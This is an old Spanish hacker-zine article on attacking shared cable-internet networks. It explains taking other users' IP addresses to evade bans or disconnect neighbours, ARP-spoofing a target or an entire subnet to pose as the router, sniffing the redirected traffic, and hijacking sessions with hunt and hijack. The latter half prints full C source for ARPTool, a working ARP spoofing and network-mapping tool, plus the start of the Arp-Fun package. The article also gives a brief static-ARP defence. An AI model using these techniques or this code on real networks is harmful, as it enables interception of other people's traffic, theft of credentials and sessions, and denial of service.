------------------------------------------------------

| |

| Jugando con el cable |

| |

------------------------------------------------------

 

.- Indice.

-------------

0.- Prorrogo.

1.- Obteniendo una ip valida en internet.

2.- Obteniendo mas de una ip valida en internet.

2.1.- En OpenBSD 2.5

3.- Jugando con el protocolo arp.

3.1.- Explicacion de los protocols arp y rarp.

4.- Sniffeando conexiones.

5.- Alternativa al ArpTool: Arp-Fun.

6.- Hijackeando conexiones.

7.- Notas finales.

8.- Sources.

9.- Despedidas.

-------------

 

 

0.- Prorrogo.

Buenas, este texto pretende aclarar un poco como funciona la tecnologia del

cable, y sobre todo como explotar sus vulnerabilidades. Esta enfocado mas que

nada al apartado practico, asi que no espereis mucha teoria aqui ;). Todos los

experimentos que se han realizado se han hecho sobre una especifica empresa de

internet por cable, por lo tanto no puedo asegurar que funcionen en otra compa-

ņia, aunque supongo que mas o menos funcionan todas igual, menos Menta que creo

que usa (o usaba) un proxy. Tambien son aplicables a todas las intranets que

funcionen bajo el protocolo ethernet. En fin, empecemos con el txt.

Como algunos sabreis y otros no, el cable-modem famoso tiene una entrada y una

salida. La entrada es un conector bnc para el cable coaxial, el mismo cable por

el que viene la seņal de television, y la salida es por medio de un conector

rj45, que se conecta por medio de cable trenzado a una tarjeta ethernet que

tengas instalada en el ordenata (el cable no va cruzado). Como habreis imagina-

do el modem se comunica por medio del protocolo ethernet, en realidad lo que

tenemos es muy parecido a una lan normal y corriente, a excepcion de que hay

ordenadores conectados de toda la ciudad, y unas cuantas cosas mas que veremos

mas adelante. Bien, como lo que tenemos es una lan conectada a internet, o sea,

una intranet, tiene mas o menos los mismos problemas que una red local, y como

el protocolo ethernet ya esta explotado hace mucho tiempo lo unico que vamos a

hacer nosotros es aprovechar esas debilidades }:).

 

1.- Obteniendo una ip valida en internet.

Aqui lo que hace la mayoria de la gente es poner a rular un cliente dhcp, el

cliente se comunica con el server dhcp, este le facilita toda la informacion

(ip, gateway, mask, etc), y el cliente lo hace todo automatico. El problema de

esto es que tu no puedes modificar nada, ya que va todo automatico. Entonces lo

que se puede hacer es meter tu todos los datos manualmente, es decir, direccion

ip, mask, broadcast y gateway a internet. Para conseguir todos estos datos pue-

des poner a rular primero el dhcp, apuntas los datos y luego los metes tu, con

una excepcion, la direccion ip, aqui lo normal seria meter la que te habia

asignado antes el server dhcp, pero puedes poner cualquier ip dentro del rango

valido, es decir si el rango valido es de 191.1.1.* a 191.1.10.* pues pudes po-

nerte la ip que quieras. No hace falta decir lo util que es esto para evitar

bans o glines indeseados :). Tambien es util para nukear a algun indeseado de

tu misma compaņia de cable, lo unico que tienes que hacer es cambiar tu ip por

la suya durante unos breves segundos, entonces a el le saldra un error de adap-

tador muy guapo y tendra que reiniciar para volver a tener conexion. Por

cierto que espero que no hagais mal uso de esto, los que tengan cable o esten

en una intranet mas o menos grande, ya que se puede armar un lio enorme :).

 

2.- Obteniendo mas de una ip valida en internet.

Sip, como habeis leido esto tambien es posible, como?, pues con aliasing, que

es una caracteristica del kernel para poder asignar mas de una ip a un mismo

interface, lo unico que hay que tener es el kernel compilado con soporte para

ip alias. Veamos un ejemplo con eth0, se supone que ya tienes asignada la ip,

la mask y el broadcast, pues lo que tenemos que crear ahora es un alias de

eth0, por ejemplo eth0:0. Para crear nada mas facil que "ifconfig eth0:0 ip

broadcast ipbc netmask m", ip es la ip que quieres tener (tiene que estar en

el rango valido), ipbc es la ip del broadcast y m es la mask. Despues de eso

ya tendras 2 ips validas en internet, ahora por ejemplo para entrar al irc con

la nueva ip lo que tienes que hacer es instalar un bouncer que tenga soporte

para vhost, pq en realidad lo que hicimos es un vhost. Lo defines bien, lo po-

nes rulando y ya entras al irc con la nueva ip :). Si quieres crear mas ips va-

lidas sigues el mismo proceso, pero con eth0:1, eth0:2, etc. Para dar de baja

una ip pones "ifconfig eth0:n down", cambiando la n por el numero del alias que

quieras borrar claro esta :).

 

2.1.- En OpenBSD 2.5 (ulandron)

Esto es un pequeņo anexo a la seccion anterior, ya que Posidon no ha tenido

la oportunidad de probarlo en un openbsd.

# ifconfig xl0 alias 192.168.1.1 netmask 255.255.255.255

Le aņado una mask de todo 1's porque si no en openbsd da el siguiente

error: ifconfig:SIOCAIFADDR: File exists.

El resto es muy similar a linux, aunque la sintaxis del comando route(8),

por ejemplo, cambia un poco.

 

3.- Jugando con el protocolo arp.

El protocolo arp (address resolution protocol) es el que se encarga de resolver

una direccion a una direccion ip, la direccion mac es la direccion fisica de la

tarjeta de red, y consta de 6 numeros en hexadecimal, tipo 00:00:11:1D:01:B4.

Esta direccion viene de fabrica con la tarjeta y es imposible cambiarla.. bue-

no, supongo que por medios electronicas se podra, pero vamos que no esta al

alcance de cualquiera. El protocolo rarp (reverse address resolution) es lo

contrario, se encarga de resolver direcciones macs a direcciones ip. Cuando un

ordenador hace una peticion para resolver una ip a una mac, lo que hace es man-

dar la peticion a la direccion broadcast, para que asi le llegue a todos los

ordenadores que forman la lan, luego el ordenador al que le corresponde esa ip

le manda un arp reply a la maquina que hizo la peticion con su direccion mac.

Esto es explicado brevemente, pero gracias a ulandron tenemos aqui una expli-

cacion mas detallada del funcionamiento de estos protolos :), aqui la teneis.

 

3.1- Explicacion de los protocols arp y rarp por ulandron.

ARP es un protocolo fundamental para el funcionamiento correcto de practica-

mente cualquier implementacion de TCP/IP. Es el encargado de "traducir" las

direcciones ip de 32 bits a las correspondientes direcciones de hardware sub-

yacentes. En ethernet & Token ring estas direcciones suelen tener 48 bits. La

traduccion inversa la hace el RARP o Reverse ARP. Esto podria esquematizarse

asi:

ARP

Direccion de -------> Direccion

internet de ethernet de

32 bits <------- 48 bits

RARP

 

Cuando un host Y quiere iniciar una conexion con otro X del que conoce la ip(X),tiene que efectuar una peticion arp (Arp request) a la broadcast de ese segmen-

to de red, FF:FF:FF:FF:FF:FF, pidiendo que el host con dicha ip responda con su

direccion ethernet (en nuestro ejemplo) de 48 bits.

Para entrar un poco mas en detalle veamos el formato de un paquete arp:

(Extraido del tcp/ip illustrated I, stevens)

-------------------------^------------------------------------

Mac | Mac | Tipo | Tipo | Tipo | Tam | Tam | Op | (Continua)

destino | fuente | Trama | Hardw | Prot | Hard | Prot | Op |

-------------------------^------------------------------------

6 6 2 2 2 1 1 2 (bytes)

--------------------------------------------

(Continuacion) | Mac | Ip | Mac | Ip |

| Emisor | Emisor | Destino | Destino |

--------------------------------------------

6 4 6 4 (bytes)

 

- Los 2 primeros campos indican la direccion ethernet fuente y destino. Una

trama cuya direccion de destino este compuesta por todo 1's se denomina broad-

cast y es entregada a todas las interfaces de una subred.

- El tipo de trama especifica el contenido del resto del paquete. Para un arp

toma el valor de 0x0806.

Estos 14 bytes forman la cabecera de una trama ethernet.

- Tipo de hardware especifica el medio sobre el que se trabaja. Toma el valor

de 1 para ethernet.

- Tipo de protocolo que es mapeado: 0x0800 para IP.

- Tamaņo de direccion de hardware y tamaņo de direccion de protocolo (que feo

queda esto) son 6 y 4 respectivamente, como es logico.

- Operacion especifica si el paquete es un ARP request (1), ARP reply (2), RARP

request (3), RARP reply (4).

- Los siguientes 4 campos son la direccion mac & ip fuente y la mac & ip del

destino. En un arp request la mac destino logicamente no esta rellenada porque

no se sabe.

Ya podemos ver con exactitud que ocurre cuando un host intenta efectuar una

conexion.

Manda un paquete arp a la broadcast, rellenando la ip de destino y dejando va-

cio el campo de la mac de destino. El host con esa ip recibe el paquete, ve que

es suyo, intercambia las direcciones eth & ip fuente y destino, rellena la

fuente nueva con su propia mac y responde con un arp reply al host que lo en-

vio, no a la broadcast.

.- Fin de explicacion :).

Bueno, y ahora que sabemos como funciona el protocol arp vamos a ver como pode-

mos explotar sus vulnerabilidades. Aunque la direccion mac de tu tarjeta de red

no se pueda cambiar, lo que si se puede hacer es spoofear, para ello nos basare-

mos en una utilidad llamada arptool, del que teneis el codigo fuente al final

del txt ( aunque tb se pueden usar otros programas, como el estupendo arp-fun de

ulandron ;) ).

Con esta utilidad podremos mandar paquetes arp request o paquetes arp reply, en

principio los que nos interesan son los reply. El funcionamiento explicado asi

por encima es el siguiente, nosotros lo que queremos hacer es que la makina con

direccion ip 111.111.111.111 se crea que la direccion mac de 111.111.111.222 es

00:00:2B:02:5B:02, cuando la verdadera mac de 111.111.111.222 es cualquier otra.

Lo primero que tenemos que hacer es averiguar la mac de 111.111.111.111 (joer,

esto se esta convirtiendo en un lio de numeros), para ello hacemos un ping a

111.111.111.111. Al hacerle el ping su direccion mac quedara guardada en nues-

tra cache, o sea que haciendo un arp -a saldra su citada mac. Despues de esto

es bien sencillo, usamos el arptool para bombardear sin parar a 111.111.111.111

con arps replys spoofeados para hacer creerle que nosotros somos 111.111.111.222

y que le estamos contestando a sus peticiones, y of course le mandamos los re-

plys como que nuestra mac es 00:00:2B:02:5B:02, habeis entendido algo? XD.

La forma practica de hacer esto seria:

"./arptool -s 00:00:2B:02:5B:02 macde111.111.111.111 111.111.111.222 111.111.

111.111 2 -c 1". El 2 seria para indicar que son arp replys, y no request, y

el -c 1 para que lo este enviando sin parar 1 vez por segundo.

Y bien, aqui entra otra forma de nuke, no se os ocurre cual? Pues es hacerle

creer a una determinada makina que la mac del router que usa para salir a in-

ternet es una que no exista, no pongo el ejemplo pq se supone que ya os lo sa-

beis currar solitos ;).

 

4.- Sniffeando conexiones.

Por suerte o por desgracia, no es posible hacer sniffing de la forma tradicio-

nal, es decir, poniendo la tarjeta ethernet en modo promiscuo y capturando to-

do. La razon es que el modem filtra los datos, por lo tanto solo te llegaran

los paquetes que vayan dirigidos a ti, hace mas o menos lo mismo que algunos

hubs con "inteligencia". Pero tranquilos, pq aunque no se pueda a la primera

trabajandolo un poco mas si que es posible. Para conseguir sniffear alguna

conexion lo que le tenemos que hacer creer a la makina objetivo es que la mac

del router es nuestra mac. Os recuerdo que la infrastructura de las redes que

forman las compaņias de cable no es mas que una lan conectada a internet por

un router, de tal forma que todos los paquetes que los usuarios manda a inter-

net pasan por ese router, y que ese router tiene una ip y una mac. Pues senci-

llamente lo que vamos a hacer nosotros es de router intermedio (por cierto que

para que esto rule tienes que tener compilado el kernel con soporte para ip

forward y tenerlo activado).

Veamos si lo explico mejor con un ejemplo, nosotros tenemos una maquina A, y

otro usuario objetivo tiene una maquina B, y el router es la maquina R, mA es

la mac de A, mB la de B y mR la mac del router. Pues bien, lo que haremos sera

usar el arptool para bombardear a B con arps replys modificados para hacerle

creer que la mac de R (mR) no es mR sino es mA, o sea nuestra mac, de tal for-

ma que ese usuario (B) mande todos los paquetes a nosotros, y nosotros haremos

de router intermedio, mandando todos los paquetes que B nos manda a R, y B no

sospechara nada porque todo se hara de forma transparente, y el ni perdera la

conexion ni nada. Y que conseguimos con esto, pues poder sniffear todas las

conexion que B haga hacia internet, con un sniffer normal, como sniffit. Por

supuesto se pueden hacer muchas mas cosas pero bueno, ahora estamos en el

apartado de sniffear conexion :). Y tambien podemos ir mas alla, que pasa si

queremos sniffear todas las conexiones de toda la subred? Pues muy sencillo,

configuramos el arptool para bombardear toda la subred con arps replys modifi-

cados para que mR parezca mA. Para hacer esto mandamos los arps a la direccion

de broadcast, y en la direccion mac de destino ponemos FF:FF:FF:FF:FF:FF, que

es la mac de la direccion de broadcast, y ya esta, a poner el sniffer rulando

a todo trapo.

Nota: Os recomiendo que no andes jugando con esto porque os podria caer un

puro considerable, a parte de que os pueden pillar facilmente, ya que vuestra

mac estara a la vista de cualquiera, y con la mac ya pueden identificar vuestro

modem.

 

5.- Alternativa al ArpTool: Arp-Fun. (ulandron)

Arp Fun es un programa muy similar al arptool, que en un principio fue

desarrollado para ser usado solamente en el contexto de este texto, y para

asentar mis conocimientos con las libnet. Pero una vez acabada la parte

basica, y viendo lo facil que es programar con libnet decidi aņadirle mas

funciones y en eso estoy. En el momento de escribir este texto voy por la

v0.2, y estoy trabajando en varias mejoras. Mi objetivo principal es

incorporar toda la funcionalidad del arptool, con la ventaja de ser

portable a numerosas plataformas (todas en las que compila libnet).

Del arptool original solo falta la opcion -m (network map mode).

Su uso es sencillo e intuitivo. Requiere un minimo de 1 parametro. -d IP.

En algunos casos el programa no puede determinar automaticamente la mac de

destino. En ese caso habra que especificarla con la opcion -m. Con esto

mandaremos un arp reply por la primera interfaz disponible que no sea la

loopback, con nuestra mac & ip verdadera de origen. Para aplicar la

teoria de este texto, y hacernos pasar por el router tendremos que

aņadirle un parametro mas: -s ip_del_router. Todo lo demas son opciones

mas o menos utiles, como la posibilidad de establecer un intervalo entre

envio de paquetes, el numero de paquetes a enviar, mayor detalle, etc etc.

Un -c 20 -x 300 por ejemplo envia un paquete cada 5 minutos durante 1

hora, con lo que podremos minimizar el efecto que tendran los arp's

verdaderos del router sobre el host objetivo. En un futuro me gustaria

aņadir un sniffer que capturara los arps verdaderos de la red e

inmediatamente respondiera con uno falso. Para la v0.3 :)

Me gustaria que lo probarais en diferentes arquitecturas y me comentarais

los resultados obtenidos. Por ahora lo he compilado en un 2.3.15, 2.2.12 y

en la ultima version del OpenBSD, 2.5. La ultima version estara disponible en

http://www.undersec.com/members/ulandron/index.shtml.

La v0.2 esta aņadida al final del texto, se puede extraer con el tipico

"extract" de la phrack. Creara una serie de archivos en el directorio

arp-fun. Recomiendo leer el readme, editar el Makefile por si hace falta,

make, make install.

Esta version no incorpora las librerias necesarias para compilarlo, dado

que no puedo meter los 350 k's que ocupa en total en este texto. Para una

version completa recomiendo la descarga de la ultima version en la url

mencionada 9 lineas mas arriba.

Espero que sea util ;)

 

6.- Hijackeando conexiones.

Esta parte tambien esta entretenida, se basa en "robar" conexiones activas, me-

diante tecnicas bastante complicadillas basadas en averiguaciones de los nu-

meros de secuencia, etc. Como ya hay amplia informacion de ip hijack por la red

no voy a ponerme a explicar como funciona, te remito por ejemplo a set19 en el

que hay un articulo bastante aclarador. Ahora pasemos a la parte practica.

Como programa para hijackear normalmente usaremos el hunt, que puedes conse-

guirlo en http://hello.to/hacker_novatos (seccion misc), ya que es mas

vistoso que el tipico hijack.c y a parte trae mas opciones, como por ejemplo

scanear una subred para detectar sniffers, "ver" conexiones, etc.

Lo primero que haremos sera lo explicado en el apartado 4 para sniffear cone-

xiones, es decir, hacer creer al host objetivo que nosotros somos el router.

Una vez que ya estemos filtrando todas las conexiones del host, lo unico que

tenemos que hacer es ejecutar el hunt y esperar, cuando tengamos una conexion

activa el -> de la linea de comandos se convertira en *>. Despues solo tenemos

que movernos por los menus que trae, como por ejemplo watch connections (para

ver los datos que se mandan cliente-servidor), reset connections (para mandar

a tomar viento la conexion), etc..

El unico problema es que el hunt solo escucha en unos determinados puertos,

como el 21, 23, 110, etc.., si quieres hijackear otra conexion de otro puerto

no podras, tendras que usar el hijack. Para usar el hijack tienes que indicarle

la direccion ip de la maquina cliente, el puerto que esta usando el cliente

(lo sacas sniffeando) y la direccion ip de la maquina servidor, una vez ejecu-

tado se hace todo de forma transparente y si todo va bien ya tendrias la shell,

el ftp o lo que fuera ;). El codigo fuente del hijack lo podeis conseguir en

http://hello.to/hacker_novatos tambien, seccion misc.

 

7.- Notas finales.

Lo primero decir que espero que no hagais mal uso de esto ;). Lo segundo es

una forma de protegerse ante el arp spoof. Como sabreis el arptool lo que ha-

cia era "floodear" un host con arps replys, luego el host atacado guardaba la

mac modificada en la cache y se lo creia todo. Por cierto que todos los orde-

nadores tienen una cache para las macs que vayan resolviendo, tipo nameserver

con las ips. Pues bien, lo que haremos sera modificar nuestra cache para que

la mac del router tenga el flag PERM, es decir, permanente. De esta forma nues-

tra maquina nunca hara una peticion para resolver la ip del router, siempre la

cogera de la cache y no habra forma de que alguien se haga pasar por el router

mandandonos arps replys (pq nuestra maquina los ignorara). Para hacer esto lo

unico que haremos sera meter la mac del router manualmente con el comando arp,

de la siguiente forma: "arp -s ipdelrouter macdelrouter". Cada vez que reini-

ciemos el ordenata el flag PERM se perdera por lo que seria conveniente meter

esa orden en el rc.local. Por supuesto como el router cambie de mac dejara de

rularnos internet, pero para que le cambiara la mac tendrian que cambiarle la

tarjeta de red, y eso es una cosa poco probable.

 

8.- Sources.

 

Arptool:

<++> Cable/arptool.c !21ea3fd4

/*

* ARPTool v0.1, (c) Cristiano Lincoln Mattos, 1999 - <lincoln@hotlink.com.br>

*

* - Compiled and tested on Linux 2.0.33, 2.0.35, 2.0.36, libc5 & glibc.

* Will port to Solaris 2.5.1 as soon as i have time.

* - For usage, run it without arguments.

* - If you dont know what this is for, or what you can do with it,

* read yuri volobuev's excellent bugtraq post about ARP spoofing

* (available from the bugtraq archives).

* - The netmap results depend on the network latency.. try adjusting the

* usleep() delay, if you think it's too small/big.

* - The latest version will be always at

* http://www.hotlink.com.br/users/lincoln/arptool

* - Some code borrowed from neped (apostols.org), thanks.

*

* #include <stddisclaimer.h>

*

* CHANGELOG:

* 09/12/98 - General code cleanup.

* 07/12/98 - Removed the option for hiding in the process list, and

* double mode: didn't work as expected, stupid oversight.

* 29/12/98 - Better display of MAC's with more than one IP (proxy

* arp or virtual interfaces).

* 28/12/98 - Added check for arp reply being to source ip (netmap).

*/

#include <stdio.h>

#include <stdlib.h>

#include <linux/if.h>

#include <linux/sockios.h>

#include <linux/in.h>

#include <linux/if_ether.h>

#include <unistd.h>

#include <fcntl.h>

#define ARP_ETHER 1

#define ARP_REQUEST 1

#define ARP_REPLY 2

/* Structures */

struct pkt_struct {

unsigned char eth_dst[6];

unsigned char eth_src[6];

unsigned short eth_proto;

unsigned short int arp_hw_type;

unsigned short int arp_proto;

unsigned char arp_hw_len;

unsigned char arp_proto_len; // proto is IP.

unsigned short arp_oper;

unsigned char arp_hw_src[6];

unsigned char arp_ip_src[4];

unsigned char arp_hw_dst[6];

unsigned char arp_ip_dst[4];

};

struct spoof_struct {

unsigned char hw_src[6];

unsigned char hw_dst[6];

unsigned long int ip_src;

unsigned long int ip_dst;

unsigned short op;

};

/* List structures */

struct iplist_struct {

unsigned long int ip;

struct iplist_struct * next;

};

struct list_struct {

unsigned char hw[ETH_ALEN];

struct iplist_struct * iplist;

struct iplist_struct * lastip;

struct list_struct * next;

} * head = NULL, * tail = NULL;

/* Functions */

char * hwaddr_to_str (unsigned char * str);

unsigned char * str_to_hwaddr (char * str);

unsigned int hexstr_to_int (char *cptr);

void netmap (int fd, unsigned long int start_ip);

void usage (char * av, int mode);

void add_to_list (unsigned long int ip, unsigned char * hw);

void show_list ();

/* Global variables */

unsigned long netmask, broadcast; /* struct in_addr */

unsigned char hwaddr[ETH_ALEN];

struct sockaddr sock;

int verbose = 0;

void sendarp (int fd, unsigned char * h_source, unsigned char * h_dest, \

unsigned char * arp_src, unsigned char * arp_dst, \

unsigned long int ip_source, unsigned long int ip_dest, unsigned char op) {

struct pkt_struct pkt;

// Ethernet header.

memcpy(&pkt.eth_dst,h_dest,ETH_ALEN);

memcpy(&pkt.eth_src,h_source,ETH_ALEN);

pkt.eth_proto = htons(ETH_P_ARP);

// ARP header.

pkt.arp_hw_type = htons(ARP_ETHER);

pkt.arp_proto = htons(ETH_P_IP);

pkt.arp_hw_len = ETH_ALEN;

pkt.arp_proto_len = 4;

pkt.arp_oper = htons(op);

if (arp_src==0) bzero(&pkt.arp_hw_src,ETH_ALEN);

else memcpy(&pkt.arp_hw_src,arp_src,ETH_ALEN);

if (arp_dst==0) bzero(&pkt.arp_hw_dst,ETH_ALEN);

else memcpy(&pkt.arp_hw_dst,arp_dst,ETH_ALEN);

memcpy(&pkt.arp_ip_src,&ip_source,4);

memcpy(&pkt.arp_ip_dst,&ip_dest,4);

if ( (sendto(fd,&pkt,sizeof(pkt),0,&sock,sizeof(sock))) < 0) perror("Error sending ARP");

if (verbose) {

char ips[16], hws[18];

strncpy(ips,inet_ntoa(ip_source),16);

strncpy(hws,hwaddr_to_str(pkt.eth_src),18);

printf(" - Sending packet: Ether src: %s - Ether dst: %s \n",hws,hwaddr_to_str(pkt.eth_dst));

strncpy(hws,hwaddr_to_str(pkt.arp_hw_src),18);

printf(" ARP hw src: %s - ARP hw dst: %s\n",hws,hwaddr_to_str(pkt.arp_hw_dst));

printf(" ARP ip src: %s - ARP ip dst: %s - ARP op: ",ips,inet_ntoa(ip_dest));

if (op==1) printf("%s\n","Request");

else printf("%s\n","Reply");

}

}

void netmap (int fd, unsigned long int start_ip) {

unsigned long int ip, ip_s;

struct pkt_struct * pkt;

int i;

ip_s = start_ip;

ip = ip_s & netmask;

i = fcntl(fd,F_GETFL);

if ((fcntl(fd,F_SETFL, i | O_NONBLOCK))<0) {

perror("FCNTL"); exit (1);

}

pkt = (struct pkt_struct *) malloc(sizeof(struct pkt_struct));

bzero(pkt,sizeof(struct pkt_struct));

printf(" - Mapping network... \n");

while (ip < broadcast) {

unsigned long int iptmp;

unsigned char hwa[ETH_ALEN];

ip = ntohl(ip);

ip = htonl(++ip);

sendarp(fd,hwaddr,str_to_hwaddr("FF:FF:FF:FF:FF:FF"),hwaddr,0,ip_s,ip,ARP_REQUEST);

usleep(1000);

i = sizeof(sock);

bzero(pkt,sizeof(struct pkt_struct));

if ((recvfrom(fd,pkt,sizeof(struct pkt_struct),0,&sock,&i)) < 0) continue;

memcpy(&iptmp,pkt->arp_ip_dst,4);

if ((iptmp!=ip_s) || (ntohs(pkt->arp_oper)!=ARP_REPLY)) continue;

memcpy(&iptmp,pkt->arp_ip_src,4);

add_to_list(iptmp,pkt->eth_src);

}

show_list();

free (pkt);

}

 

void main (int argc, char ** argv) {

struct ifreq ifr;

struct sockaddr_in sin;

struct spoof_struct sp;

unsigned long int ip;

int fd, ret;

int i = 0, map = 0, spoof = 0, interval = 0;

char * dev;

// Parsing the arguments.

if (argc < 2) { usage(argv[0],0); exit(1); }

 

usage(argv[0],1);

dev = (char *) malloc(6); strncpy(dev,"eth0",5);

while ((i = getopt(argc, argv, "dc:vmi:s:")) != EOF) {

switch (i) {

case 'm': map = 1; continue;

case 'v': verbose = 1; continue;

case 'i': dev = optarg; continue;

case 'c': interval = atoi(optarg); continue;

case 's': spoof = optind-1; continue;

case '?': exit(1);

default: usage(argv[0],0); exit;

}

}

if ((map) && (spoof)) {

printf(" Error: cannot run in map mode (-m) and spoof mode (-s) simultaneously.\n");

exit(1);

}

if ((!map) && (!spoof)) {

printf(" Error: map mode (-m) or spoof mode (-s) must be specified.\n");

exit(1);

}

if (spoof) {

unsigned long int ips;

int origspoof = spoof;

spoof = optind;

if ((!argv[origspoof]) || (!argv[spoof]) || (!argv[spoof+1]) || (!argv[spoof+2]) || (!argv[spoof+3])) {

printf(" Error: spoof (-s) requires five arguments: \n");

exit(1);

}

ips = atoi(argv[spoof+3]);

if ( (ips!=1) && (ips!=2) ) {

printf(" Erro: wrong arp operation. Must be 1 for request or 2 for reply. \n");

exit(1);

}

memcpy(&sp.hw_src,str_to_hwaddr(argv[origspoof]),ETH_ALEN);

memcpy(&sp.hw_dst,str_to_hwaddr(argv[spoof++]),ETH_ALEN);

ips= inet_addr(argv[spoof++]);

memcpy(&sp.ip_src,&ips,4);

ips = inet_addr(argv[spoof++]);

memcpy(&sp.ip_dst,&ips,4);

ips = atoi(argv[spoof]);

memcpy(&sp.op,&ips,1);

}

 

// Setting up the sockets, interface, and getting data.

strcpy(sock.sa_data,dev);

sock.sa_family = AF_INET;

fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP));

if (fd==-1) {

perror("Socket: "); exit (1);

}

// HW Addr.

strcpy(ifr.ifr_name,dev);

ret = ioctl(fd,SIOCGIFHWADDR,&ifr);

if (ret==-1) {

perror("Error getting HW Address"); exit (1);

}

memcpy(hwaddr,ifr.ifr_hwaddr.sa_data,ETH_ALEN);

// IP.

ret = ioctl(fd,SIOCGIFADDR,&ifr);

if (ret==-1) {

perror("Error getting IP Address"); exit (1);

}

memcpy(&sin,&ifr.ifr_addr,sizeof(struct sockaddr_in));

ip = sin.sin_addr.s_addr;

// Netmask.

ret = ioctl(fd,SIOCGIFNETMASK,&ifr);

if (ret==-1) {

perror("Error getting netmask"); exit (1);

}

memcpy(&sin,&ifr.ifr_netmask,sizeof(struct sockaddr_in));

netmask = sin.sin_addr.s_addr;

// netmask = 16777215; // 24 bit Netmask

// Broadcast.

ret = ioctl(fd,SIOCGIFBRDADDR,&ifr);

if (ret==-1) {

perror("Error getting broadcast"); exit (1);

}

memcpy(&sin,&ifr.ifr_broadaddr,sizeof(struct sockaddr_in));

broadcast = sin.sin_addr.s_addr;

printf(" - Hardware addr : %s\n",hwaddr_to_str(hwaddr));

printf(" - Interface IP: %s (%s)\n",inet_ntoa(ip),dev);

printf(" - Netmask: %s\n",inet_ntoa(netmask));

printf(" - Brodcast: %s\n",inet_ntoa(broadcast));

while (1) {

if (map) netmap (fd,ip);

if (spoof) {

sendarp(fd,sp.hw_src,sp.hw_dst,sp.hw_src,sp.hw_dst,sp.ip_src,sp.ip_dst,sp.op);

}

if (interval) sleep(interval);

else break;

}

}

 

char * hwaddr_to_str (unsigned char * str) {

static char tmp[20];

sprintf(tmp,"%02X:%02X:%02X:%02X:%02X:%02X",str[0],str[1],str[2],str[3],str[4],str[5]);

return tmp;

}

unsigned int hexstr_to_int(char *cptr) {

unsigned int i, j = 0;

 

while (cptr && *cptr && isxdigit(*cptr)) {

i = *cptr++ - '0';

if (9 < i) i -= 7;

j <<= 4;

j |= (i & 0x0f);

}

return(j);

}

unsigned char * str_to_hwaddr (char * str) {

unsigned char tmp[2], strbuf[17], t[2];

static unsigned char * buf, * tt;

int e, i;

buf = (unsigned char *) malloc(6);

bzero(t,2); bzero(tmp,2); bzero(strbuf,17); bzero(buf,6);

strncpy(strbuf,str,17); strbuf[17]='\0';

tt = buf;

 

e = 0;

for (i=0; i < strlen(strbuf); i++) {

if ((strbuf[i]==':') && (e==0)) continue;

tmp[e] = strbuf[i]; e++;

if (e==2) {

unsigned int a;

a = hexstr_to_int(tmp);

memcpy(tt,&a,1); tt++;

bzero(tmp,2); e = 0;

}

}

return buf;

}

void usage (char * av, int mode) {

printf(" ARPTool v0.1, (c) Cristiano Lincoln Mattos, 1999. <lincoln@hotlink.com.br> \n");

if (!mode) {

printf(" Sintax: %s [-i interface] [-m] [-c] [-s hwsrc hwdest ipsrc ipdst op]\n",av);

printf(" -i interface: use this interface. If ommited, default to eth0\n");

printf(" -m: network map mode. Will identify all hosts on the same \n cable segment. \n");

printf(" -s src_hwaddress dst_hwaddress src_ipaddress dst_ipaddress operation:\n");

printf(" send arbitrary ARP packets. The hardware address must be \n specified in the usual form, i.e. 00:00:FD:FF:1E:C1.\n Operation is 1 for ARP request, 2 for ARP reply. \n");

printf(" -c interval: continuous mode. Will keep sending the specified \n packets every interval seconds (requires -s or -m).\n");

exit(1);

}

}

 

void show_list () {

struct list_struct * tmp, * tmp2;

tmp = head;

while (tmp!=NULL) {

struct iplist_struct * iptmp;

iptmp = tmp->iplist;

printf(" -- HW Address: %s",hwaddr_to_str(tmp->hw));

if (iptmp->next) printf(" - Several IP's: probably router with proxy arp, or virtual interfaces.\n");

while (iptmp!=NULL) {

printf(" IP: %s\n",inet_ntoa(iptmp->ip));

iptmp = iptmp->next;

}

free(iptmp); tmp2 = tmp->next;

free(tmp); tmp = tmp2;

}

return;

}

 

void add_to_list (unsigned long int ip, unsigned char * hw) {

struct list_struct * tmp;

struct iplist_struct * iptmp;

tmp = head;

while (tmp) {

if ((hw[0]==tmp->hw[0]) && (hw[1]==tmp->hw[1]) && (hw[2]==tmp->hw[2]) && (hw[3]==tmp->hw[3]) &&\

(hw[4]==tmp->hw[4]) && (hw[5]==tmp->hw[5])) break;

tmp = tmp->next;

}

if (!tmp) { // If it's the first HW entry, or did not find HW in list, create

if ((tmp = (struct list_struct *) malloc(sizeof(struct list_struct))) == NULL) {

printf("\n malloc error. \n"); exit (1);

}

if ((iptmp = (struct iplist_struct *) malloc(sizeof(struct iplist_struct))) == NULL) {

printf("\n malloc error. \n"); exit (1);

}

iptmp->ip = ip;

iptmp->next = NULL;

tmp->iplist = iptmp;

tmp->lastip = iptmp;

tmp->next = NULL;

memcpy(tmp->hw,hw,ETH_ALEN);

if (tail) {

tail->next = tmp;

tail = tmp;

}

} else { // Found the HW entry in the list, just add the IP.

if ((iptmp = (struct iplist_struct *) malloc(sizeof(struct iplist_struct))) == NULL) {

printf("\n malloc error. \n"); exit (1);

}

iptmp->ip = ip;

iptmp->next = NULL;

tmp->lastip->next = iptmp;

tmp->lastip = iptmp;

}

if (!head) head = tail = tmp;

}

 

<-->

Arp-fun v0.2

<++> arp-fun/CHANGES !113c5647

0.2 -- 20/09/1999

- Got it, automatic remote mac resolution. Found get_mac.c in libnet's

sources.

- I'm a bit confused at the moment, the main goals are reached, now it

only can get better.

0.15 -- 19/09/1999

- Included Libnet-0.99g and libpcap-0.4 in the tarball

- Got about 20 new compilation errors, but it works !!!

- Code is getting a little bit too crappy, think i'll fix things up for

0.16

0.14 -- 17/09/1999

- Added a new function: ipaddr_to_str (unsigned char * str);

- Cleaned up cap.c

- Added references to libnet / libpcap (README)

0.13 -- 16/09/1999

- Started working on remote mac resolution (pcap)

- Code got a little bit clearer; 3 source files and 1 header file

- Code got much uglier: many redundant functions.

0.12 -- 14/09/1999

- Little bit of code cleanup. 2 source files.

0.11 -- 13/09/1999

- Added UID check

- Added automatic Interface selection

0.1 -- 13/09/1999

- First non public release \

Primera distribucion no-publica (no mucho al menos )

<-->

<++> arp-fun/COPYING !ea18d873

Arp Fun

Copyright (c) 1999 ulandron <ulandron@undersec.com>

http://www.undersec.com/

All rights reserved.

Redistribution and use in source and binary forms, with or without

modification, are permitted provided that the following conditions

are met:

1. Redistributions of source code must retain the above copyright

notice, this list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright

notice, this list of conditions and the following disclaimer in the

documentation and/or other materials provided with the distribution.

